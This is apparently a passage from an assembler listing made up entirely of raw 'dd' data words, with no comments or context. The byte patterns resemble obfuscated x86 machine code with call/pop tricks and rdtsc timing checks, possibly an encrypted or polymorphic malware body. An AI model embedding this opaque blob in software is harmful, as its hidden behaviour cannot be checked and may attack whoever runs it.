		dd 6AC38B00h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 1C08C357h, 0B5898A87h,	61B0C35h
		dd 6A04E8C1h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0A561C356h, 66560D69h,	8D89E2F7h
		dd 61B0E19h, 6057D82Bh,	9D895F51h, 61B0CE1h, 0EE815E61h
		dd 6B8C7B9Fh, 50575093h, 0F78B6652h, 13E8310Fh,	0B2000000h
		dd 9E2E9ECBh, 182AE61Bh, 0D9EECDF7h, 543E2A14h,	5A5FEB08h
		dd 0FF935F58h, 1B099DB5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 1966663Dh
		dd 37430549h, 675B58Bh,	95FF061Bh, 61B2205h, 218EF681h
		dd 0B0296Ch, 1BC5B58Bh,	70E6061Bh, 1E959D89h, 71E4061Bh
		dd 3CF98B66h, 55830F61h, 6A000002h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0DEC6C353h
		dd 0AA46FD5Ah, 0F9BD0BB7h, 0F061B12h, 6AD8B6h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 5D2E6FC3h, 0BDB0FD34h, 6830F3Bh, 2B000000h, 1B3139BDh
		dd 6BA06h, 0B52B0000h, 61B0CFDh, 6AC38Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 66B4CCC3h
		dd 0C1B646BFh, 6A04E8h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 998BDAC3h, 118D0136h, 51061B0Fh
		dd 0F7665FFCh, 0D8B0FE2h, 0E9000000h, 8, 1D7CD906h, 18297ED1h
		dd 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 6A5803C3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 83F7C356h, 0D59DB01h
		dd 0E92869C6h, 0Ah, 31E475EFh, 5DE8B81h, 890F0E12h, 0
		dd 880FD82Bh, 12Ch, 7E98D09h, 7B9061Bh,	89000000h, 1B3019BDh
		dd 0C18306h, 0DE9h, 4A469D00h, 0C8B439ECh, 0E2636E35h
		dd 0D93B611Ch, 0FE860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0B5034BC3h, 61B2F25h
		dd 6AD98C66h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0CD9BC357h, 1D31BD89h,	0C1F6061Bh
		dd 8A840F04h, 33000000h, 1B021DB5h, 4595FF06h, 0E9061B0Ch
		dd 6, 70B35397h, 0BD8901C8h, 61B01F5h, 57006A5Bh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 74AB0C93h, 0BD89F56Ah, 61B07A9h, 2B76D681h, 0C32B614Fh
		dd 38C0Fh, 0BF0F0000h, 8343DF9h, 860F0000h, 29h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0DCC35747h, 29E97AB1h
		dd 3000000h, 1B0049BDh,	6AC08B06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 93F9C352h
		dd 4434BF66h, 0D88BC38Bh, 8E9h,	0CC29EA00h, 0C4A92332h
		dd 1B58B21h, 0C7061B07h, 1B2D1D85h, 65555906h, 53006A19h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0ABB93A57h, 8D897023h, 61B17B1h, 2159BD8Bh, 9589061Bh
		dd 61B1675h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 1D6C40C3h, 895267C1h, 1B23F1B5h
		dd 0BD815F06h, 61B099Dh, 7D0h, 42850Fh,	6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 34841FC3h, 85FFA39Ah, 61B099Dh, 11E9h, 1169100h, 4A0078F0h
		dd 0E69B8086h, 5A3BD7AAh, 0E6817FA8h, 5783496Bh, 99DB5FFh
		dd 6A061Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 98C41C3h,	1B295995h, 595FF06h, 6A061B22h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0CD24C350h, 0CA6D7E2Dh, 13E9819Fh, 15B58B56h
		dd 5E061B2Fh, 90F28B66h, 0AA1BD03h, 9D29061Bh, 61B32F1h
		dd 31EE8060h, 7C1BD0Bh,	361061Bh, 1B3189B5h, 0BD896006h
		dd 61B2DA5h, 858D3157h,	58061B07h, 57006A61h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0A54AE936h
		dd 52006AC4h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0D13B24C1h, 89F46EECh, 1B0155B5h, 0E8535206h
		dd 7, 7798089Bh, 5E74837Ch, 0BD8B5E5Fh,	61B2455h, 2C759589h
		dd 8166061Bh, 29AC27EFh, 1B07B18Dh, 95295006h, 61B1441h
		dd 2BBF665Fh, 50006A33h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 0E46196Dh, 8960CD8Bh, 1B326D95h
		dd 48B76006h, 9D3112B4h, 61B0825h, 0D68B6661h, 0B9B58B61h
		dd 50061B0Bh, 23F1B58Bh, 0B589061Bh, 61B10DDh, 11E95Fh
		dd 0FDC80000h, 0FA50C17Ch, 0B5399FB2h, 0BD3660F7h, 8B664B11h
		dd 0E9B58BFEh, 0E9061B0Ah, 0FFFFF823h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 6BC35747h, 50006A60h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 7080F5A0h, 12E998BFh, 7C000000h, 0F5A5C5E1h,	670AEBF3h
		dd 880C8204h, 0FF037462h, 0FFFEB92Dh, 6AFFFFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0F11766C3h, 2C699D8Bh, 8D21061Bh, 61B2B3Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0E1C35141h, 0BB66AFB5h
		dd 9D899264h, 61B0EA9h,	6B98D21h, 0CE8061Bh, 4E000000h
		dd 70E7DF51h, 0B69EE33Ch, 0F80B1E2h, 680h, 860F00h, 5A000000h
		dd 2B3D8D8Bh, 9529061Bh, 61B0965h, 0F01E183h, 1C85h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0B98D8B5Eh, 6A061B06h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 5F8C351h, 9701278Ch
		dd 0C5704633h, 8800Fh, 89560000h, 1B29758Dh, 0E1835B06h
		dd 2A850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 6FBC356h, 9C8B2FE1h
		dd 0BD018DEBh, 32BFC9BFh, 29606144h, 1B1C75B5h,	0FFFEB906h
		dd 0BA66FFFFh, 95015600h, 61B1781h, 6418D21h, 6A061Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 218641C3h, 1B19418Dh, 758D0906h, 8B061B1Bh, 1B06418Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 72F442ADh, 78A99F22h, 0E1839B93h, 3D850F01h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0B9E0C356h, 0AE8DC31h,	74000000h
		dd 21E98FCCh, 57798675h, 5D858B32h, 5E061B18h, 6637F480h
		dd 459CF81h, 19418D8Bh,	0F53061Bh, 18Dh, 895AF800h, 1B1A59B5h
		dd 1E18306h, 4E850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 818CFFC3h, 6434DED8h
		dd 958BFC24h, 61B2D75h,	1E8B0Fh, 12E80000h, 0E5000000h
		dd 35181885h, 567D1CBEh, 0B11ADB6Ch, 85CCCA28h,	55858B19h
		dd 5F061B19h, 7E96061h,	60000000h, 12B7869Bh, 0FEB919D8h
		dd 6AFFFFFFh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0C307C352h, 0D2BB37EEh, 211CA6B2h
		dd 1B0ED98Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 8D210E36h, 61B0BE1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0BCC35545h, 8B85E439h
		dd 1B0ED98Dh, 10E906h, 8CA90000h, 0A15AAA0Bh, 9AA7A8D2h
		dd 54B91D14h, 0E1831F2Dh, 3B850F01h, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0DC67C351h, 0D881F98Eh, 379D0346h, 0CE8h, 0AD456300h
		dd 632F89F8h, 983F4EEDh, 0D18B5624h, 8D8B585Fh,	61B0BE1h
		dd 12E9h, 0D964D700h, 3370C4F2h, 90AF49h, 8D4B5672h, 8BEDE4E1h
		dd 1E183C6h, 25850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 4F3E27C3h, 698D3192h
		dd 61061B24h, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0F9F7E443h, 19C58D67h, 5AF5526Eh
		dd 0FFFFFEB9h, 8D21F9FFh, 61B1745h, 27EE8166h, 1D8D2135h
		dd 6A061B2Dh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0BE5DC356h, 0D697CEF4h, 458D8B75h
		dd 80061B17h, 0E18381EBh, 1C850F01h, 6A000000h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8B01C356h, 1B2D1D8Dh, 759D8906h, 83061B17h, 850F01E1h
		dd 5, 0A0E28166h, 6A60615Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0F35FC351h
		dd 0FF0FE9B5h, 95891959h, 61B21BDh, 99D85C7h, 7D0061Bh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 303F76C3h, 7799509h, 6A61061Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0E355C353h, 0E9636DC1h, 0Eh,	0B302634Eh, 0B4766111h
		dd 0EBBE6AEFh, 0B5091037h, 61B30F5h, 9D6107EBh,	0E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0A34FB501h, 50342A6Ah, 9D01ACB7h, 61B0245h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9BC35646h, 89C8AAE1h
		dd 1B01859Dh, 0E9C18B06h, 75h, 0D88C6660h, 840F04A8h, 35h
		dd 0B5FF016Ah, 61B2BF9h, 7046858Dh, 0D0FF061Eh,	18658589h
		dd 0FE8B061Bh, 680CEFC1h, 20040000h, 26A006Ah, 0D6857h
		dd 95FF0001h, 61B1865h,	32E9h, 9D85C600h, 56061B23h, 0C530DF68h
		dd 11B5FFA9h, 8D061B2Fh, 1E704685h, 89D0FF06h, 1B228985h
		dd 0A5858D06h, 50061B1Bh, 56A206Ah, 8995FF56h, 61061B22h
		dd 6E0C1C3h, 8BB8B160h,	6E9C0h,	0D0E60000h, 0E2DB1458h
		dd 2E8DBD8Bh, 0BD83061Bh, 61B23D1h, 83097500h, 1B3129BDh
		dd 19740006h, 0C08B5350h, 438B8h, 0A1858900h, 8D061B2Dh
		dd 1DA64D9Dh, 5BD3FF06h, 29BD8358h, 61B31h, 53501774h
		dd 438B8h, 0A1858900h, 8D061B2Dh, 1DA33C9Dh, 5BD3FF06h
		dd 53006A58h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0BAB6660Dh, 8C5D36C0h, 0B589539Fh, 61B1219h
		dd 0B2BFCF8Bh, 8B2C0ABCh, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 983F4EEDh
		dd 0BF0FA024h, 11E9C8h,	76680000h, 6F599DDDh, 9E6ACF88h
		dd 8D46E6BFh, 0E8D8532Eh, 0A1Ah, 68A0Fh, 95090000h, 61B1251h
		dd 9818589h, 6A061Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 7E2339C3h, 6140DD8Bh, 70C98017h
		dd 9DDE8h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 51DEFF5Eh, 89F6B70Fh, 1B03A585h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0BD8BD4D1h, 61B2201h, 0FE9h, 69122E00h
		dd 0EFDE15BCh, 29A4FE74h, 6BC3B2F6h, 979E8h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0F133A71h, 304DBD8Bh, 8589061Bh, 61B31BDh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0BEC35242h, 81314258h
		dd 6D945EC1h, 924E865h,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 2796BC3h, 25659D89h
		dd 8589061Bh, 61B2549h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 15C35646h, 0E9D9259Bh, 0Dh, 78578F9Ah
		dd 0DFD10C81h, 0A5594367h, 56606011h, 299D8B5Bh, 61061B0Eh
		dd 0CB9B589h, 0E861061Bh, 8B2h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 3FC35545h, 8E8h, 758E8A00h
		dd 0C1B25C3Dh, 0AD95312Eh, 5F061B0Ch, 0B8D8589h, 0BF66061Bh
		dd 85893FD9h, 61B0399h,	0E8FFBF0Fh, 86Ah, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 60C35747h, 0B58B40F5h
		dd 61B1BADh, 2D498589h,	6A061Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0D3FD29C3h, 43CD80E6h
		dd 819E8h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1404h, 0C3504000h, 2DBD8B01h, 8B061B30h, 1B215DB5h
		dd 5D858906h, 6A061B00h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0BC47C356h,	0EB8D055Bh
		dd 5E952DCh, 17000000h,	87C7D0FBh, 7B9E8h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 0E833BCDFh, 5, 0E4529341h, 9E924h, 130D0000h, 0DDC13388h
		dd 5F0C868Eh, 23B59589h, 8589061Bh, 61B0DCDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 79C35646h, 81C8AC04h
		dd 0CEDE1DEh, 74CE800h,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 5DC0E7C3h, 89826DA6h
		dd 1B229985h, 0FBB70F06h, 71DE8h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0C1385824h
		dd 890FB874h, 1B249D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 85F8E9E4h, 0AE997FDh
		dd 0FA000000h, 67FD1555h, 0D18293B1h, 41B58B75h, 51061B21h
		dd 3151BD33h, 0E85E061Bh, 6B2h,	1D458589h, 6A061Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0E18149C3h, 0CF1B1F1h, 68F0Fh, 9D890000h, 61B0845h
		dd 679E8h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8D0FE535h, 4, 0DE29BE66h,	10E853h
		dd 7D810000h, 0D3E7569h, 50DF2465h, 0DFD7AE48h,	0BD8B882Dh
		dd 61B32F1h, 820F595Eh,	6, 8B0Fh, 85890000h, 61B1BD1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0E9C35747h
		dd 245D9E98h, 471BC5D7h, 7FC18166h, 5F4E83Bh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8BAE6CC3h, 1B07DDBDh, 0C6816606h, 85898454h,	61B25D9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 2EC35343h
		dd 0A3E84840h, 0F000005h, 1587h, 10E900h, 41060000h, 0D2410169h
		dd 0BE322908h, 71CDA0E3h, 8589E310h, 61B07B5h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 75C35646h, 5FE82BCBh
		dd 0F000005h, 58Ah, 539DBF00h, 8589121Ah, 61B02FDh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 5BC35141h, 7101F939h
		dd 0BD8BC99Ch, 61B0AD9h, 6458D23h, 1BE8061Bh, 0F000005h
		dd 8589CFB7h, 61B18DDh,	2DA5BD8Bh, 0B0061Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 7BC35747h, 0F6AA256h
		dd 6AD8B6h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 2FC195C3h, 87E18166h, 0D98D8949h,	0BA061B1Eh
		dd 6, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h, 1Bh
		dd 0E4C35747h, 0E09C52DBh, 0E8BC9634h, 0Ah, 938C11E4h
		dd 0B21D4FCFh, 66592DB8h, 0FD05DE81h, 0BE9C38Bh, 7D000000h
		dd 42653B58h, 2E42EFFCh, 0E8C12D5Ah, 52006A04h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0FE41F5E3h
		dd 86D014EFh, 0AE82E6Eh, 89000000h, 0CCF514F2h,	588380DEh
		dd 75BD8B51h, 59061B1Bh, 6AE2F766h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0DA05C352h
		dd 418ACC01h, 81097C85h, 622C7DF1h, 8AD82B55h, 525093ECh
		dd 0A9FBE4B9h, 50310F03h, 779DBF52h, 310F506Dh,	310F5250h
		dd 585A585Ah, 6650585Ah, 6A93F28Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0F927C352h
		dd 0A9FD0FB7h, 8BE07DEEh, 1B03E5B5h, 4595FF06h,	6A061B0Ch
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 6FBCC351h, 0F60A855h, 13E9D0B7h, 4B000000h
		dd 0CBA69315h, 0A0F0D982h, 2348AB90h, 859C0DFFh, 5B61C6A9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 41C35545h
		dd 14E8h, 76D8A900h, 0BB68F7CDh, 0A214911Ah, 0B8E48B0h
		dd 0ADDF577Ch, 28F0FFAh, 8B000000h, 958D59F0h, 61B29F1h
		dd 6A1A89h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 68D096C3h, 738A96DAh, 0E9044289h,	9, 2B31AEFAh
		dd 1D88ADD5h, 55BD8B85h, 8D061B06h, 1B0E3595h, 26B96606h
		dd 6A1A8921h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 618AC353h, 89C500B9h, 6A0442h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8987D6C3h, 1B08C185h, 1958D06h, 6A061B30h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0A67EC351h, 0E9B14C88h, 8, 269493h, 99B7B328h, 6A1A89h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0FE5BFFC3h, 0A8743141h, 55958989h, 0B1061B31h, 442893Eh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 3AC35545h
		dd 1DD1FA39h, 1E8C0FD4h, 0E8000000h, 12h, 6492C2DDh, 0B12B3DAAh
		dd 3E5FB06Fh, 0FD57BAB7h, 0B523C121h, 61B0A71h,	0DBA1BF5Eh
		dd 958D57DDh, 61B06ADh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 93C35343h, 3C45905Ah,	6E9E6h,	0AEC90000h
		dd 0BCBFB4C6h, 6A1A89h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 82443EC3h, 8589FDCCh, 61B1305h
		dd 6A044289h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0DD2DC356h, 430C2B82h,	609560ECh
		dd 8BCEBF0Fh, 1B01EDB5h, 958D6106h, 61B2229h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0ECC35141h, 41628F7Fh
		dd 96E90A2Dh, 9F9BD8Bh,	1A89061Bh, 29599589h, 4289061Bh
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 3D958DE8h, 6A061B03h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 743DC350h
		dd 0A19531FCh, 89061B18h, 57006A1Ah, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 389C0A7Eh
		dd 97DD20B5h, 0E8B9661Fh, 4428949h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 2C35141h, 41FBEB6h,	10C1958Dh
		dd 0BD89061Bh, 61B1A49h, 6A1A89h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0EAD87DC3h, 9ADE86C0h
		dd 8BFA8B66h, 1B23818Dh, 5EBF5706h, 5972848Eh, 6A044289h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0CFBDC351h, 554E2349h, 8D4FB501h,	1B292195h
		dd 2AD0BF06h, 0B52363D0h, 61B1339h, 870F1A89h, 3, 89CEB70Fh
		dd 0CBE0442h, 0E91779DFh, 0A8h,	4860Fh,	0BF660000h, 6A17D1h
		dd 178B0Fh, 12E90000h, 8000000h, 0D43BB9AAh, 93FB78C1h
		dd 6A74AB0Ch, 463AC2F5h, 89006AE9h, 1B293195h, 6A006A06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0D1DBC351h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 179C77C3h, 0AE829ED7h
		dd 95FFADC9h, 61B2BE1h,	6850Fh,	95890000h, 61B19E9h, 0C7D681C3h
		dd 0E9020AAAh, 14h, 0A56DDB35h,	504DB0EDh, 0F483FCB6h
		dd 4C44F0FDh, 0E0F099ADh, 6AC58Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0E5F46BC3h, 6118E456h
		dd 0D800F3Fh, 0E9000000h, 8, 62B4CB20h,	1C1C4FE8h, 6AC08BF5h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0A6A1C357h, 8BFE1E39h, 1B067DB5h,	5D8D8B06h
		dd 89061B1Eh, 1B0EE185h, 0D1BD8306h, 61B23h, 0BD830975h
		dd 61B3129h, 50197400h,	0B8C08B53h, 438h, 21318589h, 9D8D061Bh
		dd 61DA6B4h, 585BD3FFh,	3129BD83h, 7400061Bh, 0B8535017h
		dd 438h, 21318589h, 9D8D061Bh, 61DA355h, 585BD3FFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 13C35747h, 0C688509Fh
		dd 7820Fh, 0F600000h, 6160DEBFh, 0FD3B561h, 0C08BFEB7h
		dd 32ED858Dh, 6A061Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0E89073C3h, 6, 0F6804BABh, 505F6D4Bh
		dd 90F98B66h, 8E9h, 0A32F4900h,	0A7160F0Ah, 6A006AE8h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 75C2C357h, 0BB0BC1D9h, 55624AA8h,	9800F6BFh
		dd 6A006A05h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 3F82C357h, 1FF4F5ACh, 2DBD8BF5h
		dd 8D061B0Dh, 1F30DC85h, 5C08306h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0FBC35646h,	291C5958h, 1B31998Dh
		dd 14E96006h, 0FE000000h, 53C9BC9Dh, 0DD24337Dh, 38137D73h
		dd 1C566DF2h, 60034F95h, 2D419D31h, 6161061Bh, 89FC8A50h
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 6FEF9FC3h, 0A81B18CEh, 870F2156h,	5, 6BCF8166h
		dd 89006A68h, 1B23D995h, 6A006A06h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0DD8DC350h
		dd 9CD81FA2h, 9C1E766h,	1A0195FFh, 0DB80061Bh, 0B78D8D25h
		dd 6A061E92h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 5140C355h, 6AD1FFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 6FCEFCC3h
		dd 2B6ECD77h, 0E83ABBC8h, 0BD8B268Fh, 61B02E1h,	1CD5BD83h
		dd 0F01061Bh, 9885h, 0C8D0F00h,	0F000000h, 68Dh, 0E99D2900h
		dd 6A061B03h, 0F99D0302h, 0E8061B24h, 0Fh, 3D4AD1F1h, 6A070A8Bh
		dd 6956A086h, 898F1E98h, 1B03A185h, 0BF905B06h,	400DEC1Ah
		dd 0BE950h, 81F60000h, 0FC7C02E2h, 0AE0CA881h, 6A9073h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0D06081C3h, 38F88672h, 142D95FFh, 6A061Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 1486E6C3h, 10A3FDB9h, 0DAFE9A5h
		dd 0E80000h, 5D000000h,	30E6ED81h, 6A061Fh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 9D898BC3h
		dd 61B2C69h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	2AC35747h, 0DAB70FEBh, 853D858Dh, 0FE8061Eh, 20000000h
		dd 4CB5078h, 0DAE57026h, 5E616961h, 8D89CFCDh, 61B0F11h
		dd 0DAF7815Fh, 5008A4F0h, 0DF2389BBh, 2404891Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0F7C35646h, 3BCF80D4h
		dd 35FF64h, 0F000000h, 184h, 0E380F900h, 25896427h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C6C35646h
		dd 2B0D85FFh, 6A061Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 3A3627C3h, 70E89D12h, 0E9A701D7h
		dd 7, 5FF62C2Bh, 663A4924h, 6AD870BFh, 5E9FFh, 5F1C0000h
		dd 0FFF7A30Ah, 1B0981B5h, 7DD78006h, 80595FFh, 21E9061Bh
		dd 66000001h, 0FBAD6BFh, 0B0F9BFh, 1E7CD381h, 70E62642h
		dd 32AD9529h, 71E4061Bh, 3258589h, 613C061Bh, 0FA830Fh
		dd 0BD8B0000h, 61B2F71h, 33C8B60Fh, 1B02599Dh, 13E906h
		dd 2DF10000h, 8BAC15BAh, 5E453A5Bh, 0F4E17DC9h,	5F12DCABh
		dd 6BA60h, 81660000h, 8B3894C3h, 0DAB70FC1h, 8904E8C1h
		dd 1B08798Dh, 0E2F76606h, 1018529h, 0C82B061Bh,	19359589h
		dd 0D18B061Bh, 2E9F9h, 0F98A0000h, 29F1858Bh, 0F57061Bh
		dd 68Ah, 519D8B00h, 5F061B07h, 107C083h, 1B13BD95h, 0C08306h
		dd 0DE9h, 2466DB00h, 0C07CC6A6h, 970B57D8h, 0D03B758Dh
		dd 1D830Fh, 0AE80000h, 54000000h, 5C6842D9h, 1686C80Fh
		dd 5F1CB798h, 4FE9h, 79BD8B00h,	8B061B1Eh, 1B2B3D8Dh, 34C38106h
		dd 0F930F6A0h, 0F01E183h, 3384h, 0DBD8B00h, 83061B2Fh
